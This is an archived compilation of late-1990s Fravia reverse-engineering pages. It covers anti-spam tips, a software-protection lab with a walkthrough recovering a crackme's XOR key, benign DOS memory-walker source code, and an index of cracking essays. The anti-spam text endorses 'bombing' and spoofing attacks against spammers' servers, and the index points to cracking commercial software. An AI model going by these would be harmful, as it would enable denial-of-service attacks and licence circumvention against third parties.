pieces, or to block/damage it to the maximum extent or -at least- to slowbomb it for a period comprised
between three and five non consecutive months. Pertinent Cisco routers will be redirected where
necessary and all "bombing" packet loads will of course appear to be originated by the spam mailer
himself

Finally a whole 'bounce' page, added to


your site, can seriously annoy spam bots...
Have a look at mine!

Variety as stalking lure


Use slightly different names and email addresses, with different organizations, to help track down the
culprit if your address is sold. Remember that you may have dozens of email addresses, since any free
page provider and any remailer, like usa.net or hotmail (which has been bought by Billy-bane... they are
moving from old powerful Unix to buggy NT-servers and the service is getting worser and worser as a
consequence) or Yahoo or (if you happen to be careful enough to MISTRUST anything located in the
States) latin.com or chez.com will gladly give you as many (faked) emails as you need!

So start preparing five email addresses, say IvanBilibin@hotmail.com IvanBilibin_@hotmail.com


IvanBilibin__@hotmail.com and so on... and use them accordingly to the 'spam risk': the more
underscore, the higher the spam risk... d'you dig it? Of course you will NEVER use your REALLY
USED address for any web-transaction, nor it will EVER figure on any usenet group... cela va sans
dire... note that you can have a couple of "luring" addresses, but that's another 'advanced stalking'
matter...

Use special email addresses that are only valid for a limited time period, that are only valid when used
by a particular correspondent or are only valid for a single return email message. These approaches
require sophisticated use of email filtering programs and probably only make sense for somebody
technically literate and with a high volume of junk.

Study eudora's filter help files... note how one of the MOST ADVANCED filtering applications that
exist: Micro$oft's Exchange, does NOT explain you how to use its powerful filter assistants :-( s

destroy spammers' servers or spammers' email addresses

http://www.instinct.org/fravia/pageadvi.htm (7 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

This section is in fieri... in the mean time please read my smut-sites bombing pages... they may give you
some sound ideas :-)

enemy stalking
homepage links search engines +ORC students' essays academy database
tools javascripts wars cocktails anonimity academy antismut CGI-scripts
counter measures mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

(*) mailto:postmaster@[127.0.0.1]?subject=Stupid guy is spamming from your own domain

http://www.instinct.org/fravia/pageadvi.htm (8 of 8) [2/7/2001 3:00:59 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

How to protect better, by fravia+

project start: may 1997 ~ last update: October 1998

This section is now partly obsolete


go to the HOW TO PROTECT BETTER section.

How to protect better

13 January 1998
Well, dear shareware programmers, if you feel you are advanced enough, and you understand now enough this whole
cracking stuff (that is, if you have duly studied a lot of essays) you may now learn and discuss some nice tricks to block any
lamer from cracking your code: +RCG has sent for instance a completely new "vxd-cryptological" approach to protecting
windoze! (You'll find it inside the Self32 saga) and there is a new heavy protection -ready for you to crack and to learn from-
as well :-)

14 January 1998, the day after


Well, Quine has already cracked +RCG's 'heavy' protection... :-(

18 January 1998
Well, here are +RCG's new protection ideas, among other things how to take softice on a boat ride and eventually how to
punish stupid crackers... :-)

Old intro (May 1997)


Well, here we go... This whole section is a (very clever) idea from +Rcg
+Rcg's is not a native English speaker (nor am I), and therefore bear with us some language imperfections, as usual only
content matters (read knowledge), form and frills may wait. This section could develop and be VERY IMPORTANT for our
work, provided many of you will send contributions...

This "protection schemes" section should be very useful for shareware programmers too, in their fight against "moron-pirates"
(against real crackers they have of course no chance). The survival of the shareware programmers, strange as it may seem, is
OUR CONCERN, as +Rcg explains in his approach... the only enemy of humanity is Micro$oft!
This is the reason we ask SPECIALLY shareware programmers to help in this section... strange isn't it? Crackers and
Shareware programmers fighting together... when the crocodile comes, cats and dogs form alliances.

Need new ideas about future protection schemes? Feel free to check our programmers' corner page as well!

(Of course the more than 200 students' essays will also offer you mighty unvaluable information in order to protect better your
programs :-)

HOW TO PROTECT BETTER


(The long road to defeat lamers)

http://www.instinct.org/fravia/protecti.htm (1 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

PHASE 1 ~ First attempt, by +Rcg


PHASE 2 ~ Second attempt, by +Sync
PHASE 3 ~ The "Prefetch Instruction Queue" idea, by Camel Eater, 13 Aug 1997
PHASE 4 ~ +Sync's second attempt solution, by +Sync, 14 Aug 1997
PHASE 5 ~ Prefetch Instruction Queue considerations, by Heres, 16 Sep 1997
PHASE 6 ~ PIQ + Pentium, + some general protection thoughts for the HCU, by g(ar), 21 Nov
1997

PHASE 7 ~ +RCG's Self32 saga and beyond


('course only for advanced crackers and advanced protectors :-)

self32.zip, by +RCG, 29 Nov 1997... download icname.dat AND self32.exe and crack it!
A first answer, by Zer0+ (26 December 1997)
Enjoy +RCG's self32 solution! __NEW__
Here you have some tasty snippets out of it:

- Create a Self-Modificable code on the fly


- modify VxD without restrictions
- if destination is a code segment then it is forbidden to write
into it
and an exception is generated (and trapped... giving us the
error code)

The "self32 solution" link above is at the same time the road to +RCG's new protection approach
and his two splendid essays:

CRYPTOGRAPHY AND MATHEMATICS OF CHAOS! __NEW__


and
A FIRST INTRODUCTION TO VxD! __NEW__

In fact +RCG has opened a COMPLETELY NEW AND ADVANCED path with his two essays and
with the accompaning programs and source code. Therefore I have decided to link them in an
'unusual' way, to filter lamers and newbyes a little and awaiting +RCG's updates and new
promised goodies. He writes: "Soon more (but you must work on your own)" and he's right, of
course. This is a WORK IN PROGRESS new section, that will -for obvious reasons- get along our
new 1998 +HCU's project 'Our tool' (API monitoring and vxd magic), which starts in these days

http://www.instinct.org/fravia/protecti.htm (2 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

on the ristrected maillist. So you better contribute (and I mean contribute with some interesting
stuff) if you want to remain on this bandwagon... to cite +RCG's words:
you must know that a VxD can do everything
we want, no more Ring3 restrictions, you can
stop completely the system, read or write any
memory address, hook all interrupts or exceptions,
take control of the IO ports

PHASE 8 ~ Flipper's Visual Basic 5 tough protection, by +flipper, 06 Dec 1997


(as the name says... tough Visual Basic 5 protection!)

You'll find inside this same protection tutorial a couple of solutions as well:
-----------------------------------------------------------------------------------
The first solution, by r0ketman (December 1997)
and an answer by flipper (December 1997)
and another solution, by +Rcg (December 1997)
and another answer by flipper (26 December 1997) __NEW__

Average +HCU "deep" cracking time: three to five days :-)


PHASE 9 ~ Fooling Disassemblers (Protecting Applications Against Disassembly), by Snatch,
07 Dec 1997
(The "non-conditional" conditional jump and other tricks)
PHASE A ~ Advanced protection schemes, by tibit, 13 Dec 1997
(How to defeat us crackers at our own game :-)
PHASE B ~ +RCG's heavy protection, by +RCG, 13 Jan 1998 __NEW__

C'mon, everyone: crack the vxd based protection scheme of this official HCU protector program!
Here is what +RCG himself writes about all this
BTW, this doc will teach you to protect, and I will also
attach "the official HCU protector program" and then we
will wait for someone able to reverse it.
Don't worry: I will explain you how it works (I will attach
the source as well, yet this won't help you too much from
a cracking point of view).
See above the Self32 saga in order to read +RCG's new CRYPTOGRAPHY AND MATHEMATICS
OF CHAOS and A FIRST INTRODUCTION TO VxD essays!

Quine's Quick Qrack


http://www.instinct.org/fravia/protecti.htm (3 of 8) [2/7/2001 3:01:04 PM]
protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

And on 15 January 1998 -a day after having released +RCG's heavy protection- I have already
received a quick solution by nothing less than Quine. +RCG, my friend, I believe we will have to
start to prepare "specific" protections against +HCUkers... the only question is: how?
fravia+,

In taking a break from putting the finishing touches on my


HASP
essay (!), I took a look at +RCG's heavy.exe. It was quite
interesting
because his method has weaknesses that are similar to those I
found
with the hasp encryption. The solution, by the way, is to create
a
10h byte long file called key.dat which contains 00h through 0Fh.
The
key, as +RCG tells us is too easy, but even with a completely
random
key of 10h bytes it would have taken about 2 minutes to find it.
I'm
not going to explain how I figured out that it was a 10h byte
string
xor'd with the code from 4012B9h to 401300h because it's fairly
easy
to figure that out. Here's how to find the key. Isolate the
encrypted bytes in their own file, load that file in HexWorkshop,
and
print it out. You Should have something that looks like this:

00000000 6A31 6A51 2545 066D 08E1 A30A 0C0D 66F7


00000010 2041 02FC 710D EEFD 0809 0AB5 B51F 4E0F
00000020 8934 5223 4405 B906 1B49 0A20 F284 3343
00000030 2041 02BD 6025 4607 813C 422B 4C0D C90A
00000040 4421 4203 0B05 0607

Isn't it convenient how it's lined up so that the first byte of


the
key is xor'd with the first byte in each of the rows, and so on
with
the second, third, .... I will refer to bytes in the grid above
by
their row and column using hexadecimal and starting with 0. So,
(0,0)
is the first byte and (4,7) is the last. Ok, here's the weakness

http://www.instinct.org/fravia/protecti.htm (4 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

of
+RCG's method: he left the relocation table untouched and there
are 9
relocations within the encrypted code. A relocation entails a
four
byte absolute address, usually into the data section. IDA, to
make
things convenient, tells us where these relocations are after we
make
the encrypted code undefined. We know that these addresses will
start
with at least 0040 and most of them with 004020 (since that's
where
the data section is). The addresses are at: (0,0), (0,f), (1,c),
(2,2), (2,7), (2,f), (3,4), (3,a), (4,0). Even if we assume only
that
they all start with 0040, that means that we can deduce all but
bytes
0, 3, 8, and b of the key right off the bat. Working on the
004020
assumption (which is correct in all but one case) we can deduce
everything except for byte 8 (needless to say, I had seen the
pattern
way before this, but I wanted to explain how it would work for any
key). However, since we know everything else at this point it
would
be fairly simple work to deduce byte 8. I address a lot of issues
related to this in the hasp essay (they use a 1000h byte long
string
for xor'ing) and suggest a more airtight protection method.

P.S. A further consequence of +RCG's neglect of relocations is


that
the program will crash if it is ever relocated by the operating
system. This is not bound to happen to an exe, but it is
extremely
likely with a dll, in which case the operating system will start
adding values to bytes within the encrypted code and that will
lead to
an inevitable crash.

Later,
Quine

http://www.instinct.org/fravia/protecti.htm (5 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

18 January 1998
Of course things do NOT finish here... and +RCG has sent some new (and very interesting)
protection ideas... I'm sure that you'll find the short essay by +RCG: HOW TO PROTECT
SOFTWARE BETTER - Part II very instructive. It deals, among other things, with the following
questions: Purpose of the "Our protection" section; The "delayed" protection scheme of the future;
The Port 70/71 trick; How to take Softice on a boat ride; Softice breakpoint magic explained and
defeated.

25 February 1998
A tough assembly protection: crack_me.htm
by +Aesculapius
A beautiful, great contribution by +Aesculapius, who gathers some ideas from Madmax's letters
(see below) and has prepared for you a real "cake": aescul.zip ready? steady? Go!

28 February 1998
jackrev.htm: Reversing +Aesculapius, A complete explanation of a very good assembler
protection
by Jack of Shadows
A beautiful, great solution by Jack of Shadows!

01 March 1998
aescures.htm: +Aesculapius' Answer to Jack of Shadows and +Seniors
Lotta important things for protectors and crackers alike!

10 March 1998
zelazny.zip: Jack of Shadows Answer: a modified 'Aesculapius_type' advanced protection
Is getting hot interesting for protectors and crackers alike!

12 November 1998
jn_essay.zip: NiKoDeMoS' The New Chaos Protection
'Welcome to a new era of protection, via the route of chaos'

http://www.instinct.org/fravia/protecti.htm (6 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

A letter by Madmax!
Not everybody agrees with "higher language" protections... here a letter I have received from
Madmax! on 18 Sep 97... (I'm sure that most readers of my site know that Madmax! is NOT 'a
nobody' :-)

heya fravia+,

its madmax here...i just wanted to comment on the Protecti


project, many
of us crackers are a little discouraged about the format involved
here..To have such protectionists that crackers are to write a
scheme in
a high level language is rather unfair i'd think...After briefly
viewing
over +sync's test, i was afraid to see call after call of
manipulating
code..So, i just think that any test for crackers should be
written in
Assembly...To further prove my point, I could simply load up
Visual
Basic 5(dont hate me for saying that =) and make a simple routine
that
would be near impossible to trace...Think about it please...BTW: I
represent some cracker's from IRC also that have agreed, so
consider it
please!

see ya,
madmax!
Well, what do YOU say about this matter? Any questions/advices/propositions?
Madmax! is right, as much as an assembly 'pure' good protection is much more difficult to hyde
inside calls after calls of overbloated code. Yet I believe that for instance +RCG's 'heavy'
protection proves that you can write a (fairly) good protection scheme in windoze, using an exe
and a vxd that together sum to less than 15.000 bytes (OK, OK, I know, 15.000 bytes are quite a
lot already). Besides, like it or not, most "programmers" out there would not know how to
program in assembly anyway, and are lobotomized by the overbloated programming 'languages'
of to-days 'frilly' trends, so they need some protection too, don't they?
Well, what do YOU say about this matter? Any questions/advices/propositions?
Here is sanity_sync's answer (15 January 1998):

http://www.instinct.org/fravia/protecti.htm (7 of 8) [2/7/2001 3:01:04 PM]


protecti.htm: Fravia's "Our protections", a first software anti-cracking lab

I say:

your point is well stated. it makes sense not to program cracker


protections in assembly because that is not the kind of experience
crackers need at this time (unless they are cracking dos apps).
can i make some recommendations for your protecti.htm page?
Here's what i would like to see:

stages of protection- ie; easy, medium, difficult, expert


we need stages in courses like these, and we need to show
not only HOW to write good protections, but give good
SOLUTIONS,
so a beginner can see how it was cracked, and so crackers
can practice at whatever skill level they choose. In other
words, not only improving the quality of the protection but
also the quality of the cracker! a step by step will make the
learning curve MUCH easier.

sanity_sync__

You are deep inside fravia's page of reverse engineering, choose your way out:

The shareware programmer's corner Our own tools How to protect better

You may contact now +RCG using the following address: rcg__@latinmail.com
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia & +RCG 1997, 1998. All rights reserved

http://www.instinct.org/fravia/protecti.htm (8 of 8) [2/7/2001 3:01:04 PM]


gods.htm ~ Fravia's "Reversing Gods" section

Reversing
gods
Let's be clear, my friends: in the reversing
arenas we are - with few exceptions - but "small
ones", at time even good and clever, at times
even able to teach something to the 'reversing
establishment' but alltogether "dilettantes"
nonetheless. Small tiny web-reversers, lost in
the dark codewoods, that's what we are - more
or less.

Yet, luckily, there are real Reversing Gods out


there, and the aim of this section of my site is to
make sure that any young wannabie cracker or
reverser will get acquainted with them. In due
time i'll add biographies, bibliographic
references and -above all- the incredible
collection of powerful tools or tutorials or books
that these gods have published over the last 15
years. As you'll soon see, even small C
programs can be extremely useful, as ideas, as
paths, as small concentrates of precious lore and
knowledge, to be used when we are lost inside
the darkness of alien code, for protection and
light purposes.

courtesy of fravia's pages of reverse engineering

This Lab will allow you to find utilities, or tutorials, or writings, published by the following "reversing
gods":
[Andrew Schulman] ~ [Jim Kyle] ~ [Matt Pietrek] ~ [+ORC] ~ [Quine] ~ [Stone] ~ [Saltine]
This section is in fieri (started July 1999) so don't complain: shut up and wait and send contributions
(especially biographical ones).

Choose another page!

http://www.instinct.org/fravia/orc.htm (1 of 2) [2/7/2001 3:01:21 PM]


gods.htm ~ Fravia's "Reversing Gods" section

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/orc.htm (2 of 2) [2/7/2001 3:01:21 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

Andrew Schulman's utilities (~1~)


Reversing gods (source code and compiled exe)

courtesy of fravia's pages of reverse engineering


The relevance of the following utilities, both in order to deepen your reversing studies, and to better
understand code cannot be enough underlined.
The learner will find treasures understanding, using and modifying reversers' tools.
The more fortunates among you will be able to find the old "Undocumented windows, a programmer's guide
to reserved Micro$oft windows API functions", by Andrew Schulman, David Maxey and Matt Pietrek (yep!:
Pietrek, nonetheless) in your favourite second hand bookshop. Those that know how to search will find the
whole book on line as well.
Read the following code, use it (ideally loading the source into Softice when executing) and ameliorate it for
our holy reversing purposes!
Enjoy!
On this page you'll find the following utilities:
[mem one] ~ [mem two] ~

mem1

/*
MEM1.C -- walks DOS MCB chain(s): detailed version
Andrew Schulman and Jim Kyle, July 1990
*/

#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <dos.h>

typedef enum { FALSE, TRUE } BOOL;


typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long ULONG;
typedef void far *FP;

#ifndef MK_FP
#define MK_FP(seg,ofs) ((FP)(((ULONG)(seg) << 16) | (ofs)))

http://www.instinct.org/fravia/andrew1.htm (1 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

#endif

#ifdef __TURBOC__
#define ASM asm
#else
#define ASM _asm
#endif

#ifdef __TURBOC__
#define GETVECT(x) getvect(x)
#else
#define GETVECT(x) _dos_getvect(x)
#endif

#pragma pack(1)

typedef struct {
BYTE type; /* 'M'=in chain; 'Z'=at end */
WORD owner; /* PSP of the owner */
WORD size; /* in 16-byte paragraphs */
BYTE unused[3];
BYTE dos4[8];
} MCB;

#define MCB_FM_SEG(seg) ((seg) - 1)


#define IS_PSP(mcb) (FP_SEG(mcb) + 1 == (mcb)->owner)
#define ENV_FM_PSP(psp_seg) (*((WORD far *) MK_FP(psp_seg, 0x2c)))

void fail(char *s) { puts(s); exit(1); }

BOOL belongs(void far *vec, unsigned start, unsigned size);


void display(MCB far *mcb);
char far *env(MCB far *mcb);
void display_progname(MCB far *mcb);
void display_cmdline(MCB far *mcb);
void display_vectors(MCB far *mcb);
unsigned fstrlen(char far *s);

MCB far *get_mcb(void)


{
ASM mov ah, 52h
ASM int 21h
ASM mov dx, es:[bx-2]
ASM xor ax, ax
/* in both Microsoft C and Turbo C, far* returned in DX:AX */
}

http://www.instinct.org/fravia/andrew1.htm (2 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

mcb_chk(MCB far *mcb)


{
for (;;)
if (mcb->type == 'M')
mcb = MK_FP(FP_SEG(mcb) + mcb->size + 1, 0);
else
return (mcb->type == 'Z');
}

void walk(MCB far *mcb)


{
printf("Seg Owner Size\n");
for (;;)
switch (mcb->type)
{
case 'M' : /* Mark : belongs to MCB chain */
display(mcb);
mcb = MK_FP(FP_SEG(mcb) + mcb->size + 1, 0);
break;
case 'Z' : /* Zbikowski : end of MCB chain */
display(mcb);
return;
default :
fail("error in MCB chain");
}
}

main(int argc, char *argv[])


{
if (argc < 2)
walk(get_mcb()); /* walk "normal" MCB chain */
else
{
unsigned seg;
sscanf(argv[1], "%04X", &seg);
walk(MK_FP(seg, 0)); /* walk arbitrary MCB chain */
}

return 0;
}

void display(MCB far *mcb)


{
static void far *vect_2e = (void far *) 0;
unsigned env_seg;

printf("%04X %04X %04X (%6lu) ",

http://www.instinct.org/fravia/andrew1.htm (3 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

FP_SEG(mcb), mcb->owner, mcb->size, (long) mcb->size << 4);

if (IS_PSP(mcb))
{
void far *e = env(mcb); /* MSC wants lvalue */
if (env_seg = FP_SEG(e)) printf("%04X ", env_seg);
else printf(" ");

display_progname(mcb);
}

if (! vect_2e)
vect_2e = GETVECT(0x2e); /* do just once */
if (! mcb->owner)
printf("free ");
/* 0008 is not really a PSP; belongs to CONFIG.SYS */
else if (mcb->owner == 8)
printf("config ");
/* INT 2Eh belongs to master COMMAND.COM (or other shell) */
else if (belongs(vect_2e, FP_SEG(mcb), mcb->size))
printf("%s ", getenv("COMSPEC"));

/* presence command line is independent of program name */


if (IS_PSP(mcb))
display_cmdline(mcb);
display_vectors(mcb);
printf("\n");
}

char far *env(MCB far *mcb)


{
char far *e;
unsigned env_mcb;
unsigned env_owner;

/*
if the MCB owner is one more than the MCB segment then
psp := MCB owner
env_seg := make_far_pointer(psp, 2Ch)
e := make_far_pointer(env_seg, 0)
else
return NULL
*/
if (IS_PSP(mcb))
e = MK_FP(ENV_FM_PSP(mcb->owner), 0);
else
return (char far *) 0;

http://www.instinct.org/fravia/andrew1.htm (4 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

/*
Does this environment really belong to this PSP? An
environment is just another memory block, so its MCB is
located in the preceding paragraph. Make sure the env
MCB's owner is equal to the PSP whose environment this
supposedly is! Thanks to Rob Adams of Phar Lap Software
for pointing out the need for this check; this is a
good example of the sort of consistency check one must
do when working with undocumented DOS.
*/
env_mcb = MCB_FM_SEG(FP_SEG(e));
env_owner = ((MCB far *) MK_FP(env_mcb, 0))->owner;
return (env_owner == mcb->owner) ? e : (char far *) 0;
}

char far *progname_fm_psp(unsigned psp)


{
char far *e;
unsigned len;

/* is there an environment? */
if (! (e = env(MK_FP(MCB_FM_SEG(psp), 0))))
return (char far *) 0;

/* program name only available in DOS 3+ */


if (_osmajor >= 3)
{
/* skip past environment variables */
do e += (len = fstrlen(e)) + 1;
while (len);

/*
e now points to WORD containing number of strings following
environment; check for reasonable value: signed because
could be FFFFh; will normally be 1
*/
if ((*((signed far *) e) >= 1) && (*((signed far *) e) < 10))
{
e += sizeof(signed);
if (isalpha(*e))
return e; /* could make canonical with INT 21h AH=60h */
}
}

return (char far *) 0;


}

http://www.instinct.org/fravia/andrew1.htm (5 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

void display_progname(MCB far *mcb)


{
char far *s;
if (IS_PSP(mcb))
if (s = progname_fm_psp((FP_SEG(mcb) + 1)))
printf("%Fs ", s);
}

BOOL belongs(void far *vec, unsigned start, unsigned size)


{
unsigned seg = FP_SEG(vec) + (FP_OFF(vec) >> 4); /* normalize */
return (seg >= start) && (seg <= (start + size));
}

void display_cmdline(MCB far *mcb)


{
/*
psp := MCB owner
cmdline_len := psp[80h]
cmdline := psp[81h]
print cmdline (display width := cmdline_len)
*/
int len = *((BYTE far *) MK_FP(mcb->owner, 0x80));
char far *cmdline = MK_FP(mcb->owner, 0x81);
printf("%.*Fs ", len, cmdline);
}

void display_vectors(MCB far *mcb)


{
static void far **vec = (void far **) 0;
WORD vec_seg;
int i;
int did_one=0;

if (! vec)
{
if (! (vec = calloc(256, sizeof(void far *))))
fail("insufficient memory");
for (i=0; i<256; i++)
vec[i] = GETVECT(i);
}

for (i=0; i<256; i++)


if (vec[i] && belongs(vec[i], FP_SEG(mcb), mcb->size))
{
if (! did_one) { did_one++; printf("["); }

http://www.instinct.org/fravia/andrew1.htm (6 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

printf("%02X ", i);


vec[i] = 0;
}
if (did_one) printf("]");
}

unsigned fstrlen(char far *s)


{
#if defined(_MSC_VER) && (_MSC_VER >= 600)
return _fstrlen(s);
#else
unsigned len = 0;
while (*s++)
len++;
return len;
#endif
}

mem2

/*
MEM2.C -- walks DOS MCB chain(s): simple version
Andrew Schulman and Jim Kyle, July 1990
*/

#include <stdlib.h>
#include <stdio.h>
#include <dos.h>

typedef unsigned char BYTE;


typedef unsigned short WORD;
typedef unsigned long ULONG;
typedef void far *FP;

#ifndef MK_FP
#define MK_FP(seg,ofs) ((FP)(((ULONG)(seg) << 16) | (ofs)))
#endif

#ifdef __TURBOC__
#define ASM asm

http://www.instinct.org/fravia/andrew1.htm (7 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

#else
#define ASM _asm
#endif

#pragma pack(1)

typedef struct {
BYTE type; /* 'M'=in chain; 'Z'=at end */
WORD owner; /* PSP of the owner */
WORD size; /* in 16-byte paragraphs */
BYTE unused[3];
BYTE dos4[8];
} MCB;

void fail(char *s) { puts(s); exit(1); }

MCB far *get_mcb(void)


{
ASM mov ah, 52h
ASM int 21h
ASM mov dx, es:[bx-2]
ASM xor ax, ax
/* in both Microsoft C and Turbo C, far* returned in DX:AX */
}

mcb_chk(MCB far *mcb)


{
for (;;)
if (mcb->type == 'M')
mcb = MK_FP(FP_SEG(mcb) + mcb->size + 1, 0);
else
return (mcb->type == 'Z');
}

void display(MCB far *mcb)


{
char buf[80];
sprintf(buf, "%04X %04X %04X (%6lu)",
FP_SEG(mcb), mcb->owner, mcb->size, (long) mcb->size << 4);
if (! mcb->owner)
strcat(buf, " free");
puts(buf);
}

void walk(MCB far *mcb)


{
printf("Seg Owner Size\n");

http://www.instinct.org/fravia/andrew1.htm (8 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

for (;;)
switch (mcb->type)
{
case 'M' : /* Mark : belongs to MCB chain */
display(mcb);
mcb = MK_FP(FP_SEG(mcb) + mcb->size + 1, 0);
break;
case 'Z' : /* Zbikowski : end of MCB chain */
display(mcb);
return;
default :
fail("error in MCB chain");
}
}

#ifdef TRY_BUG
main(void)
{
unsigned segm;
ASM mov ah, 48h /* Allocate Memory Block */
ASM mov bx, 64h /* get 100 paragraphs */
ASM int 21h
ASM jc done
/* ax now holds initial segment of allocated block */
ASM mov segm, ax
printf("before: "); display(MK_FP(segm - 1, 0));

ASM mov ax, segm


ASM mov es, ax /* now resize the block */
ASM mov ah, 4Ah /* Resize Memory Block */
ASM mov bx, 0FFFFh /* impossible (at least in real mode!) */
ASM int 21h
ASM jnc done /* something seriously wrong if _didn't_ fail! */
printf("after: "); display(MK_FP(segm - 1, 0));
done:
return 0;
}
#else
main(int argc, char *argv[])
{
if (argc < 2)
walk(get_mcb()); /* walk "normal" MCB chain */
else
{
unsigned seg;
sscanf(argv[1], "%04X", &seg);
walk(MK_FP(seg, 0)); /* walk arbitrary MCB chain */

http://www.instinct.org/fravia/andrew1.htm (9 of 10) [2/7/2001 3:01:28 PM]


andrew1.htm ~ Fravia's copy of Andrew Schulman's utilities

if (! mcb_chk(get_mcb()))
{
/* maybe do stack backtrace here, or dump registers */
puts("Error in MCB chain - prepare for halt...");
getchar();
}
else
puts("MCB chain ok");

return 0;
}
#endif

Back to the "reversing gods" Lab

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/andrew1.htm (10 of 10) [2/7/2001 3:01:28 PM]


Academy 100

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

n 1
Academy of reverse engineering: ESSAYS 1-100
(Archive: 2 Mar 1997 - 4 Sep 1997)

+HCU Database Navigation


ESSAYS 001-100 page (2 Mar 1997 - 4 Sep
The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing

http://www.instinct.org/fravia/aca100.htm (1 of 9) [2/7/2001 3:01:41 PM]


Academy 100

The essay database


Date Contributor Essay Description Project Reference
The mathematical
02 Mar
Swann ~ swann.htm coprocessor unass. ~ fra_0001
97
protection
The DOS4GW
05 Mar
Yamato ~ yamato.htm CD-ROM unass. ~ fra_0002
97
timestamp
12 Mar How to crack
LordClito ~ clito.htm proj_0 ~ fra_0003
97 Wdasm6
12 Mar How to crack
Adynts ~ adynts.htm proj_0 ~ fra_0004
97 Wdasm6
15 Mar
Civetta ~ civetta.htm Winice galore proj 2 ~ fra_0005
97
19 Mar How to crack
Frog's print ~ frogprin.htm proj_0 ~ fra_0006
97 Wdasm7
Windows 95
20 Mar Screen Saver
Lonely Hawk ~ lonelyha.htm unass. ~ fra_0007
97 Passwords reverse
engineering
How to reverse
30 Mar
Aesculapius ~ aescula.htm engineer AMU for unass. ~ fra_0008
97
Win95
02 Apr How to reverse
Aesculapius ~ aescu2.htm unass. ~ fra_0009
97 engineer Xferpro
How to reverse
02 Apr
+gthorne ~ gtsiren.htm engineer Siren Mail unass. ~ fra_000A
97
3.0.0
How to reverse
08 Apr
+Rcg ~ pape.htm engineer CuteFtp unass. ~ fra_000B
97
1.8 (32 bit version)
26 Apr How to reverse
SiuL Hacky ~ siuL.htm unass. ~ fra_000C
97 engineer ProPinball
How to reverse
30 Apr
+Rcg ~ rcgeudo.htm engineer EUDORA unass. ~ fra_000D
97
PRO 3.0

http://www.instinct.org/fravia/aca100.htm (2 of 9) [2/7/2001 3:01:41 PM]


Academy 100

How to reverse
05 May
Hackmore Readrite ~ readmo.htm engineer Portscan unass. ~ fra_000E
97
1.2b1
06 May
Epic Lord ~ Epiclo.htm Homesite Secrets unass. ~ fra_000F
97
TimeLOCK_DLL
07 May
Xoanon/PNC ~ xoanon.htm reverse engineering unass. ~ fra_0010
97
(TL32V20.DLL)
07 May How to crack
Kovi ~ kovi1.htm proj_0 ~ fra_0011
97 w32dasm version 8
How to crack all
09 May
Razzia ~ razzia.htm Visual Basic proj 8 ~ fra_0012
97
programs
12 May w32dasm version 8
Wuzat ~ wuzat.htm proj_0 ~ fra_0013
97 another approach
How to crack
12 May
desert eagle ~ vga1.htm VideoCraft Gif unass. ~ fra_0014
97
Animator
13 May Cracking Sega
+RCG ~ other1.htm unass. ~ fra_0015
97 games
13 May The flag's faking
Xoanon ~ xoanon2.htm unass. ~ fra_0016
97 approach
Quick "Non-Crack"
13 May
*OnCmC ~ oncmc.htm for all Wdasm proj_0 ~ fra_0017
97
versions
Visual Basic 4
13 May
+Sync ~ sync.htm cracking for proj 8 ~ fra_0018
97
newbyes
16 May Cubase 3
+Xoanon ~ xoacuba1.htm proj 3 ~ fra_0019
97 UNDONGLED!
Reverse
21 May engineering of
CASIMIR ~ casimir.htm unass. ~ fra_001A
97 Crypt-o-Text v1.21
& v1.24
26 May How to Neuter
+daQ ~ daq1.htm unass. ~ fra_001B
97 WebWhacker V2.0
26 May An interesting tool: unass.
fravia+ ~ ultrae2.htm ~ fra_001C
97 BRW
26 May
Frog's print ~ wi_frog2.htm Registry joggling proj_2 ~ fra_001D
97

http://www.instinct.org/fravia/aca100.htm (3 of 9) [2/7/2001 3:01:41 PM]


Academy 100

WiniceNT
27 May
IgNorAMUS ~ wi_igno.htm cracking, a first proj_2 ~ fra_001E
97
approach
An introduction to
27 May
